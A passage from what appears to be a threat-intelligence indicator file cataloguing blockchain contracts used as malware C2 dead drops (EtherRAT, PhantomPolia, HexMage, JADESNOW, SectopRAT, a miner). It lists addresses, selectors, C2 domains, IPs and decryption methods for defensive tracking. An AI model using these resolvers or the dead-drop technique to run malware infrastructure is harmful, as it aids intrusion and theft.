setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x3372a63ee825d09b4daee979513980f99c731db5) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Polygon contract deployed by 0xede997d36941cf3b6f6f11e72a0393c7f19b3822, the operator of the ClickFix configuration contract 0xf55bea1fdcf1c3abb39ab92567c09ac1bff6753e, which wrote one encrypted 256-character hexadecimal configuration to it through setConfig(string) on 2026-04-20, as it did to the contract Alex Necula reported. The value was not decrypted. Found by this site's EtherHiding hunt on 2026-10-12.","Polygon contract deployed on 2026-04-20 by 0xede997d36941cf3b6f6f11e72a0393c7f19b3822, the operator of the ClickFix configuration contract 0xf55bea1fdcf1c3abb39ab92567c09ac1bff6753e, seven days before that contract. Neither report names it; it is filed as the same operator's deployment, an on-chain observation by this site, and what it serves has not been read.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host stylehailens.com. Created on 2026-03-30 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds the host in plain base64, which this site read on 2026-11-11 as stylehailens.com.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-01-23 with 5 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x6b007f4cb132a3a574b53ab6aa3f431e0c2d4a94) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-11-29 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x233f7ac7f307d2c781be66da432cb865efa804e0) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-05 with 9 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xe941a9b283006f5163ee6b01c1f23aa5951c4c8d) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…ready and moved quickly to operationalize it. Primary C2 contract details Field Value Contract address 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 Deployer wallet 0xe941a9b283006f5163ee6b01c1f23aa5951c4c8d Funding wallet…","…queries an on-chain contract to retrieve the current C2 URL. Smart contract query mechanism EtherRAT queries a smart contract at address 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 using function selector 0x7d434425 with parameter 0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D: const j =…","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-13 with 3 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum Sepolia testnet contract the PhantomPolia loader reads as a dead-drop resolver: it calls getText() (selector 0xe00fe2eb) over public Sepolia RPC endpoints and decrypts the value, PBKDF2-SHA256 with a hardcoded password and AES-GCM, to its C2 domain, which LevelBlue SpiderLabs reports as nightflamevortex.top. The loader delivers Remus Stealer, which the report links to the Lumma family. Deployed on 2026-06-06 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, and never rewritten; this site decrypted the stored value with the published password on 2026-10-12 and got nightflamevortex.top.","Ethereum contract the report lists as holding the configuration for the Node.js backdoor stage of a ClickFix-delivered chain. The report describes the backdoor resolving its command-and-control location by reading this contract rather than from a hard-coded address, which is the EtherHiding pattern: the operator rewrites the stored value instead of re-deploying the malware. Transcribed from the report's own indicator table. Unlike the entries on this page drawn from contracts this site read directly, nothing here has been verified on-chain: the checker could not reach an RPC endpoint from where this was recorded, and a failed query is recorded as failed rather than filled in. Treat it as the report's claim until checked.","Polygon contract deployed by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539 that stores an XOR-encoded cryptocurrency-miner configuration, written 46 time(s) between 2026-03-15 and 2026-10-29. The decoded configurations name 144.124.224.120, 89.124.115.52, 92.118.168.26, 89.124.117.170, 78.40.198.61, 91.184.242.248, 5.101.86.83 as the pool or configuration server. The writes of 2026-10-29 changed only the idle CPU share, from 70 to 80 per cent, and kept 78.40.198.61 as the pool.","Polygon contract deployed by 0xede997d36941cf3b6f6f11e72a0393c7f19b3822, the operator of the ClickFix configuration contract 0xf55bea1fdcf1c3abb39ab92567c09ac1bff6753e, which has written nothing to it. The value was not decrypted. Found by this site's EtherHiding hunt on 2026-10-12.","Ethereum Sepolia testnet contract the PhantomPolia loader reads as a dead-drop resolver: it calls getText() (selector 0xe00fe2eb) over public Sepolia RPC endpoints and decrypts the value, PBKDF2-SHA256 with a hardcoded password and AES-GCM, to its C2 domain, which LevelBlue SpiderLabs reports as ironphantomcore.top. The loader delivers Remus Stealer, which the report links to the Lumma family. Deployed on 2026-06-06 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, and never rewritten; this site decrypted the stored value with the published password on 2026-10-12 and got ironphantomcore.top.","Ethereum Sepolia testnet contract deployed on 2026-05-23 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, the deployer of the PhantomPolia dead-drop resolvers LevelBlue SpiderLabs reports. Found by this site's hunt of 2026-10-20; it holds no value written after deployment, so no C2 is recovered from it.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-03-06 with 12 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xbfafba01a34aa6d53adcd1eac5ff5a7ee38a40ad) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-04 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x14afddd627fb0e039365554f8bbdb881ecb1c708) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-11 with 2 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x434a2001add7e414da33612c4a8aee745ea22968) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Polygon contract deployed by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539 that stores an XOR-encoded cryptocurrency-miner configuration, written 88 time(s) between 2026-03-13 and 2026-10-29. The decoded configurations name 144.124.224.120, 89.124.115.52, 92.118.168.26, 89.124.117.170, 78.40.198.61, xmr-eu1.nanopool.org, 212.34.142.111, 109.107.167.184, 91.184.242.248 as the pool or configuration server. The writes of 2026-10-29 changed only the idle CPU share, from 70 to 80 per cent, and kept 78.40.198.61 as the pool.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-03-03 with 8 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xa001d3863b138ed523f255f62725ab1ddc82af87) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host grimwardens.com. Created on 2026-07-21 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-20 with 4 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x4f1dd066b832af641b5f08537a5b0fc0b329d5ec) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host voidwalkerforge.top. Created on 2026-06-19 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","BNB Smart Chain contract deployed by 0xe6975e14513283a5161ca883437a4e4b7298f1ca, the wallet that wrote the SectopRAT configuration contract 0xb11613acf39ad3b4dde427c27068d278fafa8998, and written 5 time(s) from 2025-08-31 to 2025-12-17 through the same function (0x3d7403a3) with the same 55-character encrypted string between START and FINISH markers. The values were not decrypted. Found by this site's EtherHiding hunt on 2026-10-12; that it serves SectopRAT rests on the shared writer and format, not on a report.","Ethereum Sepolia testnet contract the PhantomPolia loader reads as a dead-drop resolver: it calls getText() (selector 0xe00fe2eb) over public Sepolia RPC endpoints and decrypts the value, PBKDF2-SHA256 with a hardcoded password and AES-GCM, to its C2 domain, which LevelBlue SpiderLabs reports as voderlence.com. The loader delivers Remus Stealer, which the report links to the Lumma family. Deployed on 2026-07-27 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, and never rewritten; this site decrypted the stored value with the published password on 2026-10-12 and got voderlence.com.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host shadowrunevail.top. Created on 2026-06-19 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host frozennebularhy.top. Created on 2026-05-25 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum Sepolia testnet contract the PhantomPolia loader reads as a dead-drop resolver: it calls getText() (selector 0xe00fe2eb) over public Sepolia RPC endpoints and decrypts the value, PBKDF2-SHA256 with a hardcoded password and AES-GCM, to its C2 domain, which LevelBlue SpiderLabs reports as shadowemberstrike.top. The loader delivers Remus Stealer, which the report links to the Lumma family. Deployed on 2026-06-06 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, and never rewritten; this site decrypted the stored value with the published password on 2026-10-12 and got shadowemberstrike.top.","Ethereum Sepolia testnet contract the PhantomPolia loader reads as a dead-drop resolver: it calls getText() (selector 0xe00fe2eb) over public Sepolia RPC endpoints and decrypts the value, PBKDF2-SHA256 with a hardcoded password and AES-GCM, to its C2 domain, which LevelBlue SpiderLabs reports as velnoderic.com. The loader delivers Remus Stealer, which the report links to the Lumma family. Deployed on 2026-07-27 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, and never rewritten; this site decrypted the stored value with the published password on 2026-10-12 and got velnoderic.com.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host styleoutspin.com. Created on 2026-03-30 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds the host in plain base64, which this site read on 2026-11-11 as styleoutspin.com.","Ethereum Sepolia testnet contract the PhantomPolia loader reads as a dead-drop resolver: it calls getText() (selector 0xe00fe2eb) over public Sepolia RPC endpoints and decrypts the value, PBKDF2-SHA256 with a hardcoded password and AES-GCM, to its C2 domain, which LevelBlue SpiderLabs reports as voidravenstorm.top. The loader delivers Remus Stealer, which the report links to the Lumma family. Deployed on 2026-06-06 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, and never rewritten; this site decrypted the stored value with the published password on 2026-10-12 and got voidravenstorm.top.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-02-04 with 3 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xd9afc5c883f45206c916d8e312c2d9f13766344d) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum Sepolia testnet contract the PhantomPolia loader reads as a dead-drop resolver: it calls getText() (selector 0xe00fe2eb) over public Sepolia RPC endpoints and decrypts the value, PBKDF2-SHA256 with a hardcoded password and AES-GCM, to its C2 domain, which LevelBlue SpiderLabs reports as stormvenomforge.top. The loader delivers Remus Stealer, which the report links to the Lumma family. Deployed on 2026-06-06 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, and never rewritten; this site decrypted the stored value with the published password on 2026-10-12 and got stormvenomforge.top.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host styletimeset.com. Created on 2026-04-10 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds the host in plain base64, which this site read on 2026-11-11 as styletimeset.com.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host ravenstonekeep.top. Created on 2026-06-16 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host nightstalkerwatch.top. Created on 2026-06-19 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum contract EtherRAT reads for its command-and-control server in the fake Microsoft Teams IT-support campaign Unit 42 reported, as summarised by Decryption Digest; the implant falls back to necropatia.com when the lookup fails.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-11-29 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x2eb2ec6026b63158042d27e8004957ec71783287) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host brokenvelvetdream.top. Created on 2026-05-25 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum contract that holds the command-and-control hosts of the EtherRAT fake Microsoft Teams IT-support campaign. Decryption Digest reports 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f as the campaign's resolver contract; on chain, that address sends the writes, and the hosts are stored here. This site's hunt of 2026-10-20 read 21 writes from it to this contract (selector 0x7fcaf666) between 2026-06-17 and 2026-09-01, naming ten hosts: six Microsoft Azure virtual-machine names under cloudapp.azure.com, the report's fallback domain necropatia.com, and three .com domains each registered on the day it was first written. The tracker reads it like the other watchlisted EtherRAT contracts.","Ethereum contract the report lists as holding the configuration for the malicious Chrome MV3 extension delivered by the same chain, which it says is disguised under the name \"Google Drive Offline\". The report notes the two configuration contracts carry byte-identical code and zero balances. Transcribed from the report's own indicator table. Unlike the entries on this page drawn from contracts this site read directly, nothing here has been verified on-chain: the checker could not reach an RPC endpoint from where this was recorded, and a failed query is recorded as failed rather than filled in. Treat it as the report's claim until checked.","Polygon contract deployed by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539 that stores an XOR-encoded cryptocurrency-miner configuration, written 1 time(s) between 2026-04-14 and 2026-04-14. The decoded configurations name xororand.ru as the pool or configuration server.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-17 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xea4337aa83496f0b91cdcdd8bf2734df9eef1774) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-01-09 with 11 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x2dbca26addf031ada655861933d0386a39ea6427) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","BNB Smart Chain smart contract publicly reported by Google Threat Intelligence Group (GTIG)/Mandiant as used by DPRK actor UNC5342 to host a second-stage JADESNOW payload retrieved via EtherHiding. A JavaScript downloader queries this contract's stored data via chain RPC calls to fetch and execute the payload, giving the actor a takedown-resistant hosting layer. This site read the contract directly on 2026-09-03 and reconstructed its write history from archive state, which no indexer covers because the contract emits no events. It was deployed 2025-02-07T04:47:45Z and its stored payload was rewritten 23 times through 2025-05-30, every write sent by the watchlisted owner address to selector 0xd3fc9864. The payload at deployment was 2,520 bytes that base64-decode to 1,890 bytes of readable obfuscated JavaScript; the payload it has served unchanged since 2025-05-30 is 5,216 bytes decoding to 3,909 bytes at 6.64 bits of entropy per byte, so encoded rather than readable. Between those two the payload swung between full multi-kilobyte scripts and short strings as brief as 28 bytes, so the contract was not only rotated but repurposed. The contract also carries the token-shaped cover strings \"BOT250205\" and \"BOT\", a name whose digits match its deployment week.","…Smart Chain through a variety of API providers, including Binplorer , to read the JADESNOW payload stored at the smart contract at address 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c .…","…the BOT250205 token, which was allocated to several of the BSC addresses used by the malware deployer. https://bscscan.com/address/0x8eac3198dd72f3e07108c4c7cff43108ad48a71c The obfuscation used here is much simpler and seems like a prototype from the more sophisticated techniques we saw in the earlier parts…","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-03-25 with 35 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x95c1f98be0cbb581e31c57c3f17d2853b4a445a7) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum Sepolia contract deployed on 2026-05-26 by 0x92f3f39c1cde5ee705820af022e2b85c4eaa43f6, the wallet behind the PhantomPolia resolver contracts LevelBlue SpiderLabs reported. Like them it returns an encrypted salt:iv:ciphertext configuration from getText() (selector 0xe00fe2eb), fixed at deployment. None of the seven published passwords opens it, so the C2 domain it resolves to is not known. Found by this site on 2026-10-12; that it serves PhantomPolia rests on the shared deployer and format, not on a report.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-11-29 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xf1933d62f03f56579e8362402316cbf450d30116 / 0xecc52192af3952e567c66c9906418c8dc50f4f5d) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract the Remus infostealer queries through public RPC endpoints to resolve its C2 URL, in a Turkish-language fake cracked-software campaign Unit 42 reported in July 2026; Unit 42 had named the same contract in a May 2026 RemusStealer note.","Owner/deployer address of the malicious BNB Smart Chain contract (see etherhiding-jadesnow-bsc-contract-8eac3198) publicly reported by GTIG/Mandiant as associated with DPRK actor UNC5342's EtherHiding infrastructure. Listed as the on-chain administrative address, not itself a contract hosting payload data.","…dead drop resolves to BSC transaction 0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d , sent from attacker wallet 0x9bc1355344b54dedf3e44296916ed15653844509 to the burn address 0x...dead .…","…0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968 0x9bc1355344b54dedf3e44296916ed15653844509 Socket Firewall Blocks risky dependencies before they reach your environment Get Started Free Keep…","…tokenInfo: { address: \"0x8eac3198dd72f3e07108c4c7cff43108ad48a71c\", (...) owner: \"0x9bc1355344b54dedf3e44296916ed15653844509\", (...) txsCount: 22, (...) }, type: \"issuance\", value: \"1\", priority: 127, address:…","…BSC Transaction Hash (Payload1 Hash 2) 0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef BSC Address (Payload 1 and 2) 0x9BC1355344B54DEDf3E44296916eD15653844509 Yara Rules These detection rules operate exclusively at the filesystem level to identify weaponised repositories within your…","…in Parts 1 and 2, timeline analysis was also performed on all transactions containing more than 10,000 characters associated with wallet 0x9BC1355344B54DEDf3E44296916eD15653844509 .…","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host styleussles.com. Created on 2026-04-10 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it was not captured by Confiant; this site read it on 2026-11-11 as the plaintext host styleussles.com.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host styleteleport.com. Created on 2026-04-10 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds the host in plain base64, which this site read on 2026-11-11 as styleteleport.com.","Ethereum contract malicious npm packages call with getString(address) to read the server they download a node binary from, passing the key 0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84; Unit 42 listed both in July 2026.","Polygon contract deployed by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539 that stores an XOR-encoded cryptocurrency-miner configuration, written 33 time(s) between 2026-04-14 and 2026-10-29. The decoded configurations name 78.40.198.61, xmr-eu1.nanopool.org, 212.34.142.111, xororand.ru, 193.233.138.30, 83.171.224.127 as the pool or configuration server. The writes of 2026-10-29 changed only the idle CPU share, from 70 to 80 per cent, and kept 78.40.198.61 as the pool.","Polygon contract a macOS implant reads for its command-and-control domain (getter selector 0x2686ecea, setter 0xd75d1ba6), written from 2026-05-18; Prophet Security lists eleven domains it served, the current one 67sixcebeh.surf when read on 2026-07-21.","Polygon contract deployed by 0xede997d36941cf3b6f6f11e72a0393c7f19b3822, the operator of the ClickFix configuration contract 0xf55bea1fdcf1c3abb39ab92567c09ac1bff6753e, which wrote one encrypted 256-character hexadecimal configuration to it through setConfig(string) on 2026-04-15, as it did to the contract Alex Necula reported. The value was not decrypted. Found by this site's EtherHiding hunt on 2026-10-12.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-02-04 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xd9afc5c883f45206c916d8e312c2d9f13766344d) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Polygon contract deployed by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539 that stores an XOR-encoded cryptocurrency-miner configuration, written 2 time(s) between 2026-04-14 and 2026-04-14. The decoded configurations name xororand.ru as the pool or configuration server.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-02-03 with 3 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xcaac38183d1b4ee29ddb8e7965012f26e9cd6610) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","BNB Smart Chain contract SectopRAT reads in memory for its command-and-control configuration, in an intrusion The DFIR Report traced to DLL sideloading through signed SonicWall, IBM, Blue Iris and ON1 executables. On 2026-10-12 this site read its get() function, which returned an encrypted string between START and FINISH markers; the C2 hosts are those the report names.","Ethereum contract an EtherRAT sample reads for its command-and-control server, with the lookup key 0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893 hardcoded in the sample. Hunt.io lists five C2 domains the contract returned from 2026-04-01 to 2026-07-01; the first, publisherresolution.com, is also the value the watchlisted EtherRAT contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 served.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-03-18 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xabdfd61c20d2f4e972a4f89c27138789c1829085) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-03-31 with 21 setString calls when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x37ef6e88425613564b2cf8adc496acff4b6481a9) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","…against takedown and blocklisting efforts. For the purpose 